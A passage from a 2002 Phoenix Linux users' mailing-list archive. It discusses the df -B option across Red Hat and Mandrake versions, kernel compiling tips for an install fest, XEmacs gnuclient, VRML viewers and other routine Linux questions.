filesystem, df shows the space available on that filesystem rather than on the filesystem containing the device node (which is always the root filesystem). This version of df cannot show the space available on unmounted filesystems, because on most kinds of systems doing so requires very nonportable intimate knowledge of filesystem structures. OPTIONS Show information about the filesystem on which each FILE resides, or all filesystems by default. -a, --all include filesystems having 0 blocks --block-size=SIZE use SIZE-byte blocks -h, --human-readable print sizes in human readable format (e.g., 1K 234M 2G) -H, --si likewise, but use powers of 1000 not 1024 -i, --inodes list inode information instead of block usage -k, --kilobytes like --block-size=1024 -l, --local limit listing to local filesystems -m, --megabytes like --block-size=1048576 --no-sync do not invoke sync before getting usage info GNU fileutils 4.0p March 2001 1 DF(1) FSF DF(1) (default) -P, --portability use the POSIX output format --sync invoke sync before getting usage info -t, --type=TYPE limit listing to filesystems of type TYPE -T, --print-type print filesystem type -x, --exclude-type=TYPE limit listing to filesystems not of type TYPE -v (ignored) --help display this help and exit --version output version information and exit AUTHOR Written by Torbjorn Granlund, David MacKenzie, Larry McVoy, and Paul Eggert. REPORTING BUGS Report bugs to . COPYRIGHT Copyright © 1999 Free Software Foundation, Inc. This is free software; see the source for copying condi­ tions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. SEE ALSO The full documentation for df is maintained as a Texinfo manual. If the info and df programs are properly installed at your site, the command info df should give you access to the complete manual. GNU fileutils 4.0p March 2001 2 On Thursday 13 June 2002 10:59, you wrote: > I have a couple of students using Mandrake on laptops > who reported to me that df -B MB is a valid option for > df on their system. They even supply output showing > what it does. > > I've never heard of such an option in any version of > Unix I've ever used. Mandrake is based on Red Hat, > which uses the GNU tools for all the most standard > utilities, right? > > Does anyone know anything about this? I'd love to see a > df(1) man page off a Mandrake system. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQjmASsk3ywszI1FEQKTegCgyXj0F6+6Bc29dx+aH1bDhvlxNAgAoLT+ MxUCeon0WFV3/XhcIozPbBZI =mVT7 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:36:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 13 Jun 2002 11:36:16 -0700 Subject: a df option question In-Reply-To: <15624.56702.739725.690008@bela.interhack.net> References: <15624.56702.739725.690008@bela.interhack.net> Message-ID: <200206131136.16724.zen2now@qwest.net> nor have i, my RH7.1, 7.2 and 7.3 boxes all report: df -b MB df: invalid option -- b Try `df --help' for more information what version of mdk are they running? slr On Thursday 13 June 2002 10:59 am, Lynn David Newton wrote: > I have a couple of students using Mandrake on laptops > who reported to me that df -B MB is a valid option for > df on their system. They even supply output showing > what it does. > > I've never heard of such an option in any version of > Unix I've ever used. Mandrake is based on Red Hat, > which uses the GNU tools for all the most standard > utilities, right? > > Does anyone know anything about this? I'd love to see a > df(1) man page off a Mandrake system. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:39:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 14:39:13 -0400 Subject: a df option question Message-ID: On my Red Hat 7.3 box, df doesn't have a -B option. df --version gives: df (fileutils) 4.1 Written by Torbjorn Granlund, David MacKenzie, Larry McVoy, and Paul Eggert. Copyright (C) 2001 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Have them do that with the --version option and the --help output. What does it say? Alan On Thu, 13 Jun 2002 11:30:16 -0700 mondoshawan@tank.dyndns.org wrote: On Thu, Jun 13, 2002 at 10:59:26AM -0700, Lynn David Newton wrote: > > I have a couple of students using Mandrake on laptops > who reported to me that df -B MB is a valid option for > df on their system. They even supply output showing > what it does. > > I've never heard of such an option in any version of > Unix I've ever used. Mandrake is based on Red Hat, > which uses the GNU tools for all the most standard > utilities, right? > > Does anyone know anything about this? I'd love to see a > df(1) man page off a Mandrake system. I'm using a stock copy of GNU's fileutils on my LFS system -- df -B MB is not a valid option, and neither is just plain 'ol df -B. Mandrake or RedHat must have patched them (like they _always_ seem to do...). -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:43:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 14:43:49 -0400 Subject: a df option question Message-ID: On my Red Hat 7.3 box, df doesn't have a -B option. df --version gives: df (fileutils) 4.1 Written by Torbjorn Granlund, David MacKenzie, Larry McVoy, and Paul Eggert. Copyright (C) 2001 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Have them do that with the --version option and the --help output. What does it say? Alan On Thu, 13 Jun 2002 11:30:16 -0700 mondoshawan@tank.dyndns.org wrote: On Thu, Jun 13, 2002 at 10:59:26AM -0700, Lynn David Newton wrote: > > I have a couple of students using Mandrake on laptops > who reported to me that df -B MB is a valid option for > df on their system. They even supply output showing > what it does. > > I've never heard of such an option in any version of > Unix I've ever used. Mandrake is based on Red Hat, > which uses the GNU tools for all the most standard > utilities, right? > > Does anyone know anything about this? I'd love to see a > df(1) man page off a Mandrake system. I'm using a stock copy of GNU's fileutils on my LFS system -- df -B MB is not a valid option, and neither is just plain 'ol df -B. Mandrake or RedHat must have patched them (like they _always_ seem to do...). -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:47:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Thu, 13 Jun 2002 14:47:12 -0400 Subject: Suggestions? Message-ID: <20020613184712.WXGS3893.lakemtao05.cox.net@smtp.central.cox.net> I'm going to say Ruby just because someone else said python. But really since you already seem to be comfortable with php why not just use php to do it? Carl P. ============================================================ From: Greg Date: 2002/06/13 Thu PM 12:16:35 EDT To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Suggestions? As an absolute Python biggot I would do python -> mysql Greg Mike wrote: >I have just completed a project where I had to parse >out an email message and dump it into a MySQL db. I find it hard to go wrong >with Perl -> MySQL > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:51:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Thu, 13 Jun 2002 11:51:56 -0700 (MST) Subject: a df option question In-Reply-To: <20020613113016.A2210@nadesico> Message-ID: Mandrake 7.2 at least doesn't recognize a -B option to df. There is a -m option to show in megabytes, though. Mandrake 8.2 has a -m option which is just a shortcut to --block_size= ...but "-m MB" shows the list in "977K blocks" (1,000,000 blocks is about 977 * 1024) unlike -m which lists "1M blocks" (1024 * 1024 blocks). Here are the brief help pages from 7.2 and 8.2 Mandrake. \\/ http://www.wlindley.com =============== Mandrake 7.2 =============== $ df --help Usage: df [OPTION]... [FILE]... Show information about the filesystem on which each FILE resides, or all filesystems by default. -a, --all include filesystems having 0 blocks --block-size=SIZE use SIZE-byte blocks -h, --human-readable print sizes in human readable format (e.g., 1K 234M 2G) -H, --si likewise, but use powers of 1000 not 1024 -i, --inodes list inode information instead of block usage -k, --kilobytes like --block-size=1024 -l, --local limit listing to local filesystems -m, --megabytes like --block-size=1048576 --no-sync do not invoke sync before getting usage info (default) -P, --portability use the POSIX output format --sync invoke sync before getting usage info -t, --type=TYPE limit listing to filesystems of type TYPE -T, --print-type print filesystem type -x, --exclude-type=TYPE limit listing to filesystems not of type TYPE -v (ignored) --help display this help and exit --version output version information and exit Report bugs to . =============== Mandrake 8.2 =============== $ df --help Usage: df [OPTION]... [FILE]... Show information about the filesystem on which each FILE resides, or all filesystems by default. Mandatory arguments to long options are mandatory for short options too. -a, --all include filesystems having 0 blocks -B, --block-size=SIZE use SIZE-byte blocks -h, --human-readable print sizes in human readable format (e.g., 1K 234M 2G) -H, --si likewise, but use powers of 1000 not 1024 -i, --inodes list inode information instead of block usage -k like --block-size=1K -l, --local limit listing to local filesystems --no-sync do not invoke sync before getting usage info (default) -P, --portability use the POSIX output format --sync invoke sync before getting usage info -t, --type=TYPE limit listing to filesystems of type TYPE -T, --print-type print filesystem type -x, --exclude-type=TYPE limit listing to filesystems not of type TYPE -v (ignored) --help display this help and exit --version output version information and exit SIZE may be (or may be an integer optionally followed by) one of following: kB 1000, K 1024, MB 1,000,000, M 1,048,576, and so on for G, T, P, E, Z, Y. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:53:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert A. Klahn) Date: Thu, 13 Jun 2002 18:53:36 +0000 Subject: install fest suggestion Message-ID: <20020613185336.4B4276DA21@www.fastmail.fm> I dont know if kernel compiling is a skill that every Linux user needs to know. An enormous amount can be done with most distributions before the point where one needs to know how is reached. Bash skills, however, are probably basic. It might be possible to get by without, but I would not want to try. That being said, I think the suggestion, for both Bash and Kernel Compiling, is a good one, given sufficient intrest. Bob. On Thu, 13 Jun 2002 12:30:28 -0700, plug-discuss-request@lists.plug.phoenix.az.us said: > Message: 1 > Date: Thu, 13 Jun 2002 10:44:52 -0700 (PDT) > From: Alpha Zenon Sanchez > Subject: install fest suggestion > To: plug-discuss@lists.plug.phoenix.az.us > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Hello Linux Users - > > I was wondering if anyone cared to give demonstrations > on the proper way of compiling a Linux Kernel during > the installfest (I'm looking forward to it btw). I'm > starting get a 'feel' for Linux, and I've read > HOW_TO's > and various articles on compiling, but they're all > different. I've downloaded articles from ZDNET and > techrepublic as well. These articles say different > things which would confuse a Linux beginner. > > My thinking is that some people that will show up at > the intallfest are Linux 'newbies' and would jump at > a chance to watch Linux users who have been doing this > a while demonstrate some Linux skills. > > Besides Kernal compiling and basic bash commands, what > else should a Linux user know? > > Thanks in advance > > -Alpha > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ----------------------------------------------------------- Robert A. Klahn robert@kint.org AIM: rklahn "Hope has two beautiful daughters: Anger and Courage. Anger at the way things are, and Courage to struggle to create things as they should be." -- St. Augustine From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:57:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jay) Date: Thu, 13 Jun 2002 11:57:33 -0700 (MST) Subject: install fest suggestion In-Reply-To: <20020613174452.35996.qmail@web10608.mail.yahoo.com> Message-ID: Well, here's a real simple way to compile your kernel. Untar the new kernel sources in /usr/local/src/ then as root do: cd /usr/local/src/linux && make menuconfig && make dep && make clean && make modules && make modules_install (that is all one command on one line - it wraps in email) That will configure, compile, and install the new kernel as /vmlinuz. It will also automatically backup your old kernel as /vmlinuz.old. You just need to make sure your LILO config is pointing to /vmlinuz for the kernel and you're all done. Once you've configured LILO, all you ever need to do is the above command and everything else happens automagically. (Disclaimer: If this blows up your dog, sours your milk, or any thing else, it's not my fault. :) I've been using this method since 1996 and it has never failed me yet. However, your mileage may vary.) ~Jay On Thu, 13 Jun 2002, Alpha Zenon Sanchez wrote: > Hello Linux Users - > > I was wondering if anyone cared to give demonstrations > on the proper way of compiling a Linux Kernel during > the installfest (I'm looking forward to it btw). I'm > starting get a 'feel' for Linux, and I've read > HOW_TO's > and various articles on compiling, but they're all > different. I've downloaded articles from ZDNET and > techrepublic as well. These articles say different > things which would confuse a Linux beginner. > > My thinking is that some people that will show up at > the intallfest are Linux 'newbies' and would jump at > a chance to watch Linux users who have been doing this > a while demonstrate some Linux skills. > > Besides Kernal compiling and basic bash commands, what > else should a Linux user know? > > Thanks in advance > > -Alpha > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- ~Jay From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 19:07:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Thu, 13 Jun 2002 12:07:33 -0700 Subject: a df option question In-Reply-To: <200206131136.16724.zen2now@qwest.net> References: <15624.56702.739725.690008@bela.interhack.net> <200206131136.16724.zen2now@qwest.net> Message-ID: <15624.60789.387418.334915@bela.interhack.net> No more responses necessary. See below. slr> nor have i, my RH7.1, 7.2 and 7.3 boxes all report: slr> df -b MB slr> df: invalid option -- b That was an upper case -B. Someone sent me a copy of a df man page, said to be from Mandrake 8.2, that does indeed document -B MB as being valid. The relevant part of the man page says: -B, --block-size=SIZE use SIZE-byte blocks ... SIZE may be (or may be an integer optionally followed by) one of following: kB 1000, K 1024, MB 1,000,000, M 1,048,576, and so on for G, T, P, E, Z, Y. Interesting. And certainly unportable. -- Lynn David Newton Phoenix, AZ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 19:26:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 13 Jun 2002 12:26:00 -0700 Subject: a df option question In-Reply-To: References: Message-ID: <1023996367.18413.30.camel@desktop.capnet.lan> --=-aeicTWDtRM36H92KsdOB Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On Thu, 2002-06-13 at 11:43, alandd@mindspring.com wrote: > On my Red Hat 7.3 box, df doesn't have a -B=20 > option. df --version gives:=20 Mandrake 8.2 reveals: DF(1) User Commands DF(1) NAME df - report filesystem disk space usage SYNOPSIS df [OPTION]... [FILE]... DESCRIPTION This manual page documents the GNU version of df. df dis=AD plays the amount of disk space available on the filesystem containing each file name argument. If no file name is given, the space available on all currently mounted filesystems is shown. Disk space is shown in 1K blocks by default, unless the environment variable POSIXLY_CORRECT is set, in which case 512-byte blocks are used. If an argument is the absolute file name of a disk device node containing a mounted filesystem, df shows the space available on that filesystem rather than on the filesystem containing the device node (which is always the root filesystem). This version of df cannot show the space available on unmounted filesystems, because on most kinds of systems doing so requires very nonportable intimate knowledge of filesystem structures. OPTIONS Show information about the filesystem on which each FILE resides, or all filesystems by default. Mandatory arguments to long options are mandatory for short options too. -a, --all include filesystems having 0 blocks -B, --block-size=3DSIZE use SIZE-byte blocks -h, --human-readable print sizes in human readable format (e.g., 1K 234M 2G) -H, --si likewise, but use powers of 1000 not 1024 -i, --inodes list inode information instead of block usage -k like --block-size=3D1K -l, --local limit listing to local filesystems --no-sync do not invoke sync before getting usage info (default) -P, --portability use the POSIX output format --sync invoke sync before getting usage info -t, --type=3DTYPE limit listing to filesystems of type TYPE -T, --print-type print filesystem type -x, --exclude-type=3DTYPE limit listing to filesystems not of type TYPE -v (ignored) --help display this help and exit --version output version information and exit SIZE may be (or may be an integer optionally followed by) one of following: kB 1000, K 1024, MB 1,000,000, M 1,048,576, and so on for G, T, P, E, Z, Y. AUTHOR Written by Torbjorn Granlund, David MacKenzie, Larry McVoy, and Paul Eggert. REPORTING BUGS Report bugs to . COPYRIGHT Copyright =A9 2001 Free Software Foundation, Inc. This is free software; see the source for copying condi=AD tions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. SEE ALSO The full documentation for df is maintained as a Texinfo manual. If the info and df programs are properly installed at your site, the command info df should give you access to the complete manual. df (fileutils) 4.1.5 December 2001 DF(1) Thanks, to Lynn for the tip on how to clean up the output I captured. With Linux I learn something new every day, usually every hour... :) Cap --=20 D.L. 'Cap' Bateman Registered Linux User #268440, Machine #151687 No trees were harmed in sending this Earth-safe message. However, a few electrons may have been inconvenienced. --=-aeicTWDtRM36H92KsdOB Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9CPHI6He1yLs+JHwRAgC4AKCcfEnQGWH53vE+N2WXYrzxQB/1OwCgugJd 1z/PFyrg05L104T32n1UOaQ= =Yty+ -----END PGP SIGNATURE----- --=-aeicTWDtRM36H92KsdOB-- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 19:33:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Thu, 13 Jun 2002 12:33:27 -0700 Subject: Suggestions? Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B4A0@mail.int.fh.org> Carl Every message sent to the list by you comes this way. What character set are you using? -----Original Message----- From: Carl Parrish [mailto:cparrish@cox.net] Sent: Thursday, June 13, 2002 11:47 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Re: Suggestions? This message uses a character set that is not supported by the Internet Service. To view the original message content, open the attached message. If the text doesn't display correctly, save the attachment to disk, and then open it using a viewer that can display the original character set. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 19:53:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Carl Parrish) Date: Thu, 13 Jun 2002 15:53:47 -0400 Subject: Suggestions? Message-ID: <20020613195347.ZMRX4796.lakemtao08.cox.net@smtp.central.cox.net> No clue Tom, Right now I'm using Cox's sucky Webmail too. And I haven't found a way to change Char set or even see what it is. If anyone knows how I'd be happy to change it. Carl P. ============================================================ From: Tom Achtenberg Date: 2002/06/13 Thu PM 03:33:27 EDT To: "'plug-discuss@lists.plug.phoenix.az.us'" Subject: RE: Re: Suggestions? Carl Every message sent to the list by you comes this way. What character set are you using? -----Original Message----- From: Carl Parrish [mailto:cparrish@cox.net] Sent: Thursday, June 13, 2002 11:47 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Re: Suggestions? This message uses a character set that is not supported by the Internet Service. To view the original message content, open the attached message. If the text doesn't display correctly, save the attachment to disk, and then open it using a viewer that can display the original character set. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ============================================================ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 18:50:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 13 Jun 2002 14:50:08 -0400 (EDT) Subject: Carl Parrish's charset In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B4A0@mail.int.fh.org> Message-ID: >From Carl's message headers: Content-Type: text/plain; charset=ISO8859_1 I believe the correct setting should be either ISO-8859-1 or iso-8859-1. On Thu, 13 Jun 2002, Tom Achtenberg wrote: > Carl Every message sent to the list by you comes this way. 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"Buckle your seat-belt and quit smoking." ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 20:37:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 13 Jun 2002 13:37:47 -0700 (MST) Subject: Swap Meet this Sunday 16 June In-Reply-To: Message-ID: Am 13. Jun, 2002 schwätzte William Lindley so: > Just the place to get whatever bits of hardware you need to build that > spare system for the InstallFest on the 22nd -- > > Swap Meet this Sunday, 6am to 1pm, 8302 E. McDowell Rd, Scottsdale AZ > > http://azweb.com/troop446/ > Sponsored by Boy Scout Troop 446 We should point this out on the InstallFest pages through the weekend. "Need hardware? See the Boy Scouts..." type of thing. ciao, der.hans -- # https://www.LuftHans.com/ # Hope has two beautiful daughters: Anger and Courage. Anger at the way # things are, and Courage to struggle to create things as they should be. # -- St. Augustine From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 20:43:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 13:43:24 -0700 Subject: install fest suggestion In-Reply-To: ; from jay@kinetic.org on Thu, Jun 13, 2002 at 11:57:33AM -0700 References: <20020613174452.35996.qmail@web10608.mail.yahoo.com> Message-ID: <20020613134324.A24216@nadesico> On Thu, Jun 13, 2002 at 11:57:33AM -0700, Jay wrote: > > > Well, here's a real simple way to compile your kernel. Untar the new > kernel sources in /usr/local/src/ then as root do: > > cd /usr/local/src/linux && make menuconfig && make dep && make clean && > make modules && make modules_install > > (that is all one command on one line - it wraps in email) > > That will configure, compile, and install the new kernel as /vmlinuz. It > will also automatically backup your old kernel as /vmlinuz.old. You just > need to make sure your LILO config is pointing to /vmlinuz for the kernel > and you're all done. Once you've configured LILO, all you ever need to do > is the above command and everything else happens automagically. > > (Disclaimer: If this blows up your dog, sours your milk, or any thing > else, it's not my fault. :) I've been using this method since 1996 and it > has never failed me yet. However, your mileage may vary.) > > ~Jay Good documentation on how the Linux Kernel build system is available in /usr/src/linux/README. Also, /usr/src/linux/Documentation is your friend when you're looking for any info regarding the kernel. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 20:53:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 13 Jun 2002 13:53:31 -0700 (MST) Subject: Job control commands In-Reply-To: Message-ID: Am 13. Jun, 2002 schwätzte William Lindley so: > Thinking back to the days of RSTS-E (DEC PDP-11, the first timeshare > computer I used) is there a Unix-y way to: > > * Completely suspend a running task - not just a low priority > but totally stop it until it's later restarted As Thomas already said, use control-z to suspend the active program. This is a bourne shell feature and works for bourne shell derivatives such as bash and ksh. > * Attach a task from another terminal to the one I'm at now > (I.e., I start emacs on virtual terminal 3 and I want to move it > to virtual terminal 2) Look at screen for character based apps. emacs has a way to attach to another emacs session similar to vnc. I think you have to actually close the local window before you can open it remotely, though. Time for the emacs people to pipe up :). ciao, der.hans -- # https://www.LuftHans.com/ # A t-shirt a day keeps the noose (tie) away. - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 21:00:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 13 Jun 2002 14:00:03 -0700 (MST) Subject: VRML question In-Reply-To: <3D08C9D7.B0E6A0EC@leml.asu.edu> Message-ID: Am 13. Jun, 2002 schwätzte John (EBo) David so: > I'm playing with some PD software that dumps stuff out in VRML. > > Can people make suggestions on VRML viewers/brousers? Is there a > konquerer or Netscape plugin? I haven't written any VRML in years, so haven't tried these. freewrl - vrml browser and netscape plugin openvrml-lookat - VRML X11 viewer vrweb - A VRML browser and editor. vrwave - VRML 2.0 java-based browser ciao, der.hans -- # https://www.LuftHans.com/ # The Internet is the front line of the battle # to protect our freedom. -- Nathaniel Borenstein From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 21:11:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Wyant) Date: Thu, 13 Jun 2002 14:11:31 -0700 Subject: install fest suggestion In-Reply-To: <20020613185336.4B4276DA21@www.fastmail.fm> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Something I wish I had when I was beginning (and still do for that matter) is a quick-reference of shell commands. Granted, this isn't something the "average computer user" might want, but I think an "average Linux user" would find this very helpful. This could even be something printable from the website. I think it should contain the basic commands and their uses, (ls, cd, mkdir, rm, rmdir, cat, echo, etc..., I'm sure there are some I'm leaving out in my own inexperience), a list of customizable files (bash prompts & profiles, fstab, etc) and possibly (no religious wars here) a quick startup guide to a text-editor. I personally just figured out how to save and exit vi, and don't ask me to quit without saving. This may be over the head of some users as I an a Linux newbie, but not technically inexperienced. Anywhoo, it's something I wish I had. "I've had a wonderful time, but this wasn't it." -- Groucho Marx matt wyant | friend, gentleman, scholar zanfar@nospam.zanfar.com - -----Original Message----- From: plug-discuss-admin@lists.PLUG.phoenix.az.us [mailto:plug-discuss-admin@lists.PLUG.phoenix.az.us]On Behalf Of Robert A. Klahn Sent: Thursday, June 13, 2002 11:54 AM To: plug-discuss@lists.PLUG.phoenix.az.us Subject: Re: install fest suggestion I dont know if kernel compiling is a skill that every Linux user needs to know. An enormous amount can be done with most distributions before the point where one needs to know how is reached. Bash skills, however, are probably basic. It might be possible to get by without, but I would not want to try. That being said, I think the suggestion, for both Bash and Kernel Compiling, is a good one, given sufficient intrest. Bob. On Thu, 13 Jun 2002 12:30:28 -0700, plug-discuss-request@lists.plug.phoenix.az.us said: > Message: 1 > Date: Thu, 13 Jun 2002 10:44:52 -0700 (PDT) > From: Alpha Zenon Sanchez > Subject: install fest suggestion > To: plug-discuss@lists.plug.phoenix.az.us > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Hello Linux Users - > > I was wondering if anyone cared to give demonstrations > on the proper way of compiling a Linux Kernel during > the installfest (I'm looking forward to it btw). I'm > starting get a 'feel' for Linux, and I've read > HOW_TO's > and various articles on compiling, but they're all > different. I've downloaded articles from ZDNET and > techrepublic as well. These articles say different > things which would confuse a Linux beginner. > > My thinking is that some people that will show up at > the intallfest are Linux 'newbies' and would jump at > a chance to watch Linux users who have been doing this > a while demonstrate some Linux skills. > > Besides Kernal compiling and basic bash commands, what > else should a Linux user know? > > Thanks in advance > > -Alpha > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > - ----------------------------------------------------------- Robert A. Klahn robert@kint.org AIM: rklahn "Hope has two beautiful daughters: Anger and Courage. Anger at the way things are, and Courage to struggle to create things as they should be." -- St. Augustine ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBPQkKggGGayDd50X1EQJG8wCg0DFZzz7UCJ/vZ1coqLl0wLzj9MYAnjpe 5Vpx6BbsuwpAkB260jqD2rtE =1uRs -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 21:18:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 13 Jun 2002 14:18:43 -0700 Subject: a df option question In-Reply-To: <15624.60789.387418.334915@bela.interhack.net> References: <15624.56702.739725.690008@bela.interhack.net> <200206131136.16724.zen2now@qwest.net> <15624.60789.387418.334915@bela.interhack.net> Message-ID: <200206131418.43134.zen2now@qwest.net> DOH!!!! slr On Thursday 13 June 2002 12:07 pm, Lynn David Newton wrote: > No more responses necessary. See below. > > slr> nor have i, my RH7.1, 7.2 and 7.3 boxes all report: > slr> df -b MB > slr> df: invalid option -- b > > That was an upper case -B. > > Someone sent me a copy of a df man page, said to be > from Mandrake 8.2, that does indeed document -B MB as > being valid. The relevant part of the man page says: > > -B, --block-size=SIZE use SIZE-byte blocks > > ... > > SIZE may be (or may be an integer optionally followed by) > one of following: kB 1000, K 1024, MB 1,000,000, M > 1,048,576, and so on for G, T, P, E, Z, Y. > > Interesting. And certainly unportable. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 21:27:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Thu, 13 Jun 2002 14:27:20 -0700 Subject: Job control commands In-Reply-To: References: Message-ID: <15625.3640.781825.389752@bela.interhack.net> >> (I.e., I start emacs on virtual terminal 3 and I >> want to move it to virtual terminal 2) hans> Look at screen for character based apps. hans> emacs has a way to attach to another emacs hans> session similar to vnc. I think you have to hans> actually close the local window before you can hans> open it remotely, though. hans> Time for the emacs people to pipe up :). That would be me, but I'm not sure I understand the question. I'll tell what I know about that sounds similar. Whether the following runs with GNU Emacs I do not know, but I think so. With XEmacs you can start a daemon process running called gnuserv. It comes with the distribution, and its' started within XEmacs once it's running with M-x gnuserv-start. (Usually inserted in startup files.) This process listens for calls to it from external sources. The process runs on a per-user basis, by setting up a directory in /tmp/gsrvdir${UID} and putting a socket file in that directory to communicate with. There are a number of ways in which this is useful. I have the following environment variables set inside XEmacs, where I also run a lot of shells. CVSEDITOR=gnuclient EDITOR=gnuclient FCEDIT=gnuclient VISUAL=gnuclient That way anytime I want to call a shell utility that uses the value of one of those variables, it automatically pops up a new window with the required stuff. I can also run a shell command lines like this: $ gnuclient "filename" to edit filename in a new buffer (and window) or $ gnuclient -eval '(dired "/etc")' But one of the coolest things you can do is: $ gnuclient -nw which allows gnuclient to attach itself to a running XEmacs process in the current TTY. I have used this to login from a remote system using telnet or ssh and attach myself to an already running XEmacs process. That way I can read my email or do anything I want from the remote system, and things will be exactly as I changed them when I get back to the original system. -- Lynn David Newton Phoenix, AZ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 13 23:12:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Thu, 13 Jun 2002 19:12:36 -0400 Subject: Building seyon. Where xmkmf? Message-ID: OK, I want to try the X windows based serial port terminal program seyon. I downloaded the source. The docs say to "run xmkmf" to begin the build process. I don't have this xmkmf on my Red Hat 7.2 or 7.3 system. I find references to it all over the net but no place where I can download it. A) Does anyone know 